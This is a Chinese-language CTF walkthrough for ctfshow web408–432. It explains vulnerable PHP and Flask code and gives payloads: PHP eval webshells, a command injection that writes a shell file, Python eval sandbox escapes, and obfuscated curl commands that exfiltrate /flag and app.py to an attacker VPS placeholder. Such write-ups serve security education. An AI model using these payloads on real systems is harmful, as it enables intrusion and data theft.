web408
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-16 14:58:50
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-16 19:53:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
通过 HTTP GET 请求获取 URL 查询字符串中 email 参数的值,并将其赋给变量 $email
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
使用 PHP 内置的 filter_var 函数
配合 FILTER_VALIDATE_EMAIL 过滤器来检查传入的 $email 字符串是否符合标准的电子邮件格式
如果格式合法,则返回 true 并进入内部的代码块
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
以 @ 符号为分隔符,将邮箱字符串分割成一个数组
获取数组的第二个元素(即邮箱的域名部分),在这里被用作即将写入的文件名称
PHP 的文件写入函数。结合上面的拆解,这行代码的作用是:将 @ 前面的内容
写入到以 @ 后面字符串命名的文件中
}

file_put_contents(string $filename, mixed $data [, int $flags = 0 [, resource $context]])
$filename:要写入的文件路径和名称,如果文件不存在,则会自动创建
$data:写入文件的数据,可以是字符串、数组或者流资源
$flags(可选):
FILE_APPEND:将数据追加到文件末尾,而不是覆盖
LOCK_EX:写入时给文件加独占锁,以防止其他进程同时写入导致数据混乱
FILE_USE_INCLUDE_PATH:在包含路径中搜索文件
$context(可选):用于修改资源流的行为
可以写入一句话代码
?email="<?=eval($_POST[1]);?>"@1.php



web409
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-16 14:58:50
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-16 20:26:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
跟上一题相同写入邮箱格式
$email=preg_replace('/.flag/', '', $email);
执行正则表达式替换。/.flag/ 中的 . 在正则里代表"匹配除换行符外的任意单个字符"
因此,它会匹配任意一个字符后接 flag 的组合(例如:aflag、?flag、@flag 等)
并将匹配到的部分替换为空字符串 ''
eval($email);
将经过处理后的 $email 字符串,作为纯 PHP 代码去动态执行
}

?email="flageval($_POST[1]);?>"@1.com
通过在前面加上flag来触发email=preg_replace('/.flag/', '', email);这一行代码,会删掉前面的"flag,接着?>闭合代码
然后POST传参执行命令即可


web410
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 13:12:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
引入包含了 $flag 变量的文件
$b=$_GET['b'];
PHP 接收到的 $b 初始类型都是字符串
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
filter_var 使用了 FILTER_VALIDATE_BOOLEAN 过滤器
if($b=='true' || intval($b)>0){
根据 PHP 官方文档,该过滤器只有在接收到以下值时才会返回 true(且不区分大小写)
"1" "true" "on" "yes"
只要满足一个就会触发 die() 导致游戏结束
将 $b 转换为整数并判断是否大于 0。intval() 函数在处理不以数字开头的字符串时,会直接返回 0
die('FLAG NOT HERE');
}else{
echo $flag;
}
}
我们需要找到一个 $b 的值,它必须满足:
属于 FILTER_VALIDATE_BOOLEAN 认可的"真"值(1, true, on, yes)。
不能等于字符串 'true'。
被 intval() 转换后不能大于 0

?b=TRUE (大写的 TRUE,或者 True, TrUe 均可)
yes或者on大小写都可以
"TRUE" == 'true' 为假(字符串比对区分大小写);intval("TRUE") 转换为 0,0 > 0 为假

web411
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 13:12:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}
只是把on的大小写给禁了,但是我们绕过的方法还是挺多的
?b=TRUE

web412
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:19:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
检查变量 $ctfshow 是否被设置(只要传入了该参数,即使为空字符串也会进入 if 分支)
if(isset($ctfshow)){
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
FILE_APPEND 参数意味着:不会覆盖原文件,而是在 flag.php 文件的末尾追加内容
'//'.$ctfshow。无论你传入什么代码,它都会在前面硬生生加上 //。在 PHP 中,// 代表单行注释
include('flag.php');
写入完成后,立刻包含(执行)flag.php 文件
}

?ctfshow=%0a<?php%20system(%27ls%20/%27);?>
我想要直接执行命令但是不行
ctfshow=%0aeval($_POST[1]);
我去我没注意是POST传参,改了一下没招



web413
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:19:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
从单行注释 (//) 升级为了多行注释 (/* ... */)
ctfshow变量被包含在多行注释符/**/里面了
只需前后加个注释符即可
include('flag.php');
}


web414
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:43:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$ctfshow=$_GET['ctfshow'];
if($ctfshow==true){
弱类型比较。 判断传入的值是否等同于布尔值的 true
在 PHP 中,除了 0、"0"、空字符串 ""、null、空数组等被视为 false 之外
其他的非空字符串或非零数字都会被判定为 true
if(sqrt($ctfshow)>=sqrt(intval($flag))){
intval($flag)。标准的 Flag 格式通常是 ctfshow{...} 或 flag{...}
由于这些字符串不是以数字开头的,intval() 强转时会返回 0
因此,右边变成了 sqrt(0),结果就是 0
echo 'FLAG_NOT_HERE';
}else{
echo $flag;
}
}
?ctfshow=-1
sqrt()是取平方根函数
intval($flag)将$flag转换为整数
判断$ctfshow的平方根是否大于等于$flag整数值的平方根
只有当$ctfshow的平方根小于$flag整数的平方根时,才会显示flag
然后我们再来分析一般情况下布尔判断条件
被视为 true 的值:
任意非零数字,例如1、-1、3.14
非空字符串,且不等于 "0",如 "false"、"off"、"hello" 等都会被认为是真
非空数组
资源类型
对象
因此这题我们只要传入非零负数即可成功通过验证
被视为 false 的值:
布尔 false
整数 0
浮点数 0.0
空字符串 ""(包含字符串 "0")
字符串 "0"
空数组 []
NULL

web415
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 19:15:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
$k = $_GET[k];
function getflag(){
echo file_get_contents('flag.php');
定义了一个名为 getflag 的自定义函数。它的作用非常直接:读取 flag.php 的内容并输出
}
if($k=='getflag'){
这里使用 == 判断传入的 $k 是否完全等于字符串 'getflag'
如果是,程序直接终止并输出 FLAG_NOT_HERE
die('FLAG_NOT_HERE');
}else{
call_user_func($k);
如果绕过了上面的 if 判断,程序会执行 call_user_func($k)。
call_user_func 是 PHP 的内置函数,它的作用是把第一个参数作为回调函数来执行
也就是说,你传入什么字符串,它就会尝试调用同名的函数
}
我们需要让 $k 满足两个条件:
不能是字符串 'getflag'(为了绕过 if)
能被 call_user_func 识别并执行 getflag() 函数
在PHP中,函数名是不区分大小写的,这意味着定义函数时用的名字,如getflag()
在调用时可以写成getflag()、GetFlag()、GETFLAG()等,都会被正确识别并调用
不过需要注意的是,虽然函数名调用不区分大小写,但变量名是区分大小写的
?k=gEtFlAg

web416
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 19:54:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctf{
public function getflag(){
return 'fake flag';
}
final public function flag(){
该函数没有任何参数,调用后会直接读取并输出 flag.php 的内容
final 关键字表示这个方法不能被子类重写
echo file_get_contents('flag.php');
}
}
class show extends ctf{
定义了一个名为 show 的类,它继承自 ctf 类
public function __construct($f){
当 show 类被实例化(new show(...))时,这段代码会自动执行
它接收一个参数 $f,并将其直接传给 call_user_func($f)
call_user_func($f);
}
}
echo new show($_GET[f]);
字符串静态调用语法: 传入 '类名::方法名'。
数组调用语法: 传入一个数组 ['类名', '方法名']。
因为 show 类继承了 ctf 类,所以我们可以调用 show::flag 或者 ctf::flag
我们要调用的是ctf类中的flag方法,直接用双冒号操作符即可
补充解释一下,它主要用于:
访问类的静态属性和静态方法
访问类的常量
调用父类(parent::)、当前类(self::)、或静态绑定类(static::)的成员

web417

有个3.php文件,下载后是一段加密代码,用ai解密
得到代码
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
?>
GET传入
?ctf=show

这就是给一个变量赋值就行了
web418
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 23:52:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);
初始化变量。注意 $key 是整数 0
//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);
extract($_POST);
变量覆盖漏洞,将 POST 传参的键值对转化为本地变量
if($key===0x36d){
0x36d 是十六进制的 877
看似我们可以通过 POST 传入 key=877 来覆盖 $key,但这里用的是强类型比较 ===
在 PHP 中,通过 HTTP POST 传递过来的数据,其类型永远是字符串(或数组)
所以你传入的实际上是字符串 "877"
"877" === 877 的结果永远是 false
因此,这个 if 块在常规 HTTP 请求下是绝对不可能进入的
//帮黑阔写好后门
eval('<?php '.$ctfshow.'?>');
}else{
$die?die('FLAG_NOT_HERE'):clear($clear);
逻辑是一个三元运算符:如果 $die 为真,则执行 die() 终止程序并输出一段嘲讽
否则执行 clear.php 中定义的 clear() 函数
}

由于变量key已经被赋值为0,因此这个后门没什么用,需要另辟蹊径
然后我们可以看到有个extract函数,这是PHP里的一个函数调用。extract()作用是把数组里的键名当作变量名,在当前作用域创建同名变量,并赋值为数组的对应值。比如_POST\['wayne'\]=123时,extract(_POST);之后就有了变量$wayne=123
由于变量die没有被赋值,因此可以进行变量覆盖。这是三目运算符,我们可以传入0来触发后面的clear($clear)
继续往下划,可以看到clear函数的定义
给变量clear用分号截断命令即可,POST传入
die=0&clear=;echo '<?=eval($_POST[1]);?>'>/var/www/html/1.php
die=0&clear=;cp flag.php 1.txt

web419

只限制了17个字符以内,看不起谁呢
直接拿下
code=eval($_POST[1]);&1=system('cat flag.php');

web420

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:41:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 8){
system($code);
}
跟上一题相比更简单了,直接写入命令就行了


nl命令是Linux系统中的一个命令行工具,全称是"number lines",用于给文本文件或标准输入的每一行添加行号,并将结果输出
web421
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:42:50
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 6){
system($code);
}
降低到了6个字符



在注释当中
web422
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:42:50
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 5){
system($code);
}
降低到了五个字符


看到flag在第一位,直接*就可以了

web423

查看源代码,看到了提示,扫目录没有发现什么
拼接code参数,一开始用PHP和直接执行命令都不行。

os.system() - 最基础的执行方式
这是最简单的调用方式,它直接调用标准 C 库的 system() 函数
os.popen() - 简单的输出捕获
相比 os.system,os.popen 开启了一个管道,可以通过文件读取的方式获取命令的执行输出


顺便看一下源代码
web424
这题用?code=os.popen('ls').read()会报内部错误,既然执行命令不可以,我们试试直接用open函数读取文件

from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这次没有了os模块,没办法执行系统命令了,不过不影响我们读取文件

web425

可以直接查看flag看看源码禁了什么
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
if 'os' not in code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
可以看到这题相比上题,过滤了code里面的os字符串,其他都是一样的,不影响我们做题
web426
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen')
if reg.match(code)==None:
在 Python 的 re 模块中,re.match() 只从字符串的开头进行匹配
如果字符串的第一个字符不符合规则,它就会直接返回 None
正确的全局搜索应该使用 re.search() 或 re.findall()
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

#因为 re.match() 的这个"只看开头"的特性,我们传入的恶意代码只要不以 o、p、s 开头即可
#而且由于需要结果被 return 打印到页面上,我们需要使用能直接返回字符串结果的方法(比如 .read())
#而不是只返回状态码的 os.system()
#我们可以利用 Python 内置的 __import__() 函数动态导入模块
#因为 payload 以 _ 开头,完美绕过了 re.match
?code=__import__('os').popen('cat /flag').read()
#使用未被过滤的 subprocess 模块
?code=__import__('subprocess').getoutput('cat /flag')
__import__('subprocess')
#它是 Python 的一个内置函数,用于动态导入模块
.getoutput(...)
#它的功能是接收一个字符串形式的命令,将它扔给操作系统的底层 Shell 去执行
#然后把执行产生的输出结果,作为一个完整的字符串返回给你

web427
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen|system')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这题比上题多过滤了system,不影响做题

上一题的payload还是可以用的
web428
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen|system|read')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
比上一题多了一个read

因为只检查头部,所以不影响我们的payload
web429

from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
#可以看到,这题过滤了open字符串
#因为re.match() 是从字符串开头匹配,所以我们在前面加个空格即可绕过
但是我们也不是靠open来看的

web430
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
增加了一个eval

我的payload通杀
web431
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval|str')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
增加了一个str

web432
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
#可以看到之前的reg.match(code)改成了reg.search(code),意味着从检测开头变换到检测整个字符串
?code=__import__(%27subprocess%27).getoutput(%27cat%20/flag%27)

但是我们有payloadB或者外带也可以
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))
#__builtins__:是 Python 的一个内置模块,包含了所有内建函数和对象(如 print, str, dict 等)
#它在任何 Python 代码中都可以直接访问
#__dict__:这是 Python 对象的一个特殊属性,它是一个字典(dict)
#存储了该对象(这里是 __builtins__ 模块)的所有属性。键是属性名,值是属性本身
#__builtins__.__dict__['__import__']:这部分代码通过字典键值查询的方式
#从 __builtins__ 模块中获取了内建函数 __import__。这和直接写 __import__ 是一样的,但更隐蔽
#__getattribute__:是 Python 对象的一个方法,用于获取对象的属性
#os.__getattribute__('system') 的效果和 os.system 完全一样
#%2b表示+号,目的是为了绕过正则匹配限制
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`base64 -w 0 app.py`'))
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`'))